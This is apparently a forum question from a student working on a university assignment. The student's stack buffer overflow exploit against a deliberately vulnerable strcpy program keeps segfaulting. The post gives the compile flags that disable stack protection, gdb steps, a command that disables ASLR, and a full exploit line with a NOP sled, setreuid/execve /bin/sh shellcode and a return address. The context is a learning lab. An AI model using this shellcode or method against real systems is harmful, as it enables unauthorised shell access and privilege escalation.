I'm trying to do a Buffer Overflow attack on a simple C program that takes a buffer and print it. I've tried many combinations but at the end, when I try to execute my shellcode, I always get Segmentation Fault.
I've mainly followed this tutorial :
How to exploit a buffer overflow vulnerability - Practical
with the difference that I've tried compiling the program also in m64 because when I did it in m32 my memory addresses were all different, I've tried to explain my steps but if they are not clear you can just watch the video cause I've followed the same procedure.
The code I'm using to try my attack is
#include <stdio.h>
#include <string.h>
int main(int argc, char *argv[]){
char buf[256];
strcpy(buf, argv[1]);
printf("%s\n", buf);
return 0;
}
I compile the code in this way :
gcc -o example -fno-stack-protector -m64 -z execstack example.c
I've also tried compiling it with m32 but as I said before, but my results after disassembling the main with gdb were completely different from the tutorial, on the other hand, when I compiled it with m64 they were very similar so it was easier to follow.
Once I compiled it and opened gdb I disassemble the main of the program and I look for the strcpy call. I select one of the addresses right after the strcpy call and I make a breakpoint right in that address.
After this I run the python code
run $(python -c "print('A'*256)")
And then I examine the content of the program after I ran this command, which prints 256 As. I examine it with the command
x/200xb $esp
I now can see the exact address in memory where my 'AAA..' sequence starts, I write it in a paper and then I run again my python code to understand with which value it goes in Segmentation Fault state.
Once I find the Seg Fault condition I simply run this :
run $(python -c "print('\x90'*222 + '\x31\xc0\xb0\x46\x31\xdb\x31\xc9\xcd\x80\xeb\x16\x5b\x31\xc0\x88
\x43\x07\x89\x5b\x08\x89\x43\x0c\xb0\x0b\x8d\x4b\x08\x8d\x53\x0c\xcd
\x80\xe8\xe5\xff\xff\xff\x2f\x62\x69\x6e\x2f\x73\x68' + '\x94\xcf\xff\xff')")
where :
- 222 is simply the number of \x90 I need to arrive at Segmentation Fault minus the size of my shellcode (which is 46 byte)
- and the last '\x94\xcf\xff\xff' is the address I wrote before in a paper when I examined the 'AAAA' sequence in memory and looked where it started, of course when I compile the program with m64 this address is longer
at this point, when I run the command the shellcode should be executed but it doesn't happen, it always says Segmentation Fault.
Of course I've also disabled aslr with the command
echo 0 | sudo tee /proc/sys/kernel/randomize_va_space
Sorry if I've been messy with my explanation, I've tried like all the different possibilities but I never get the right result. (changing of course some flags, m64, m32 and playing a little bit with the values of the last command).
Thanks in advance, I really hope you'll help me because I need to figure this out for a University Assignemnt
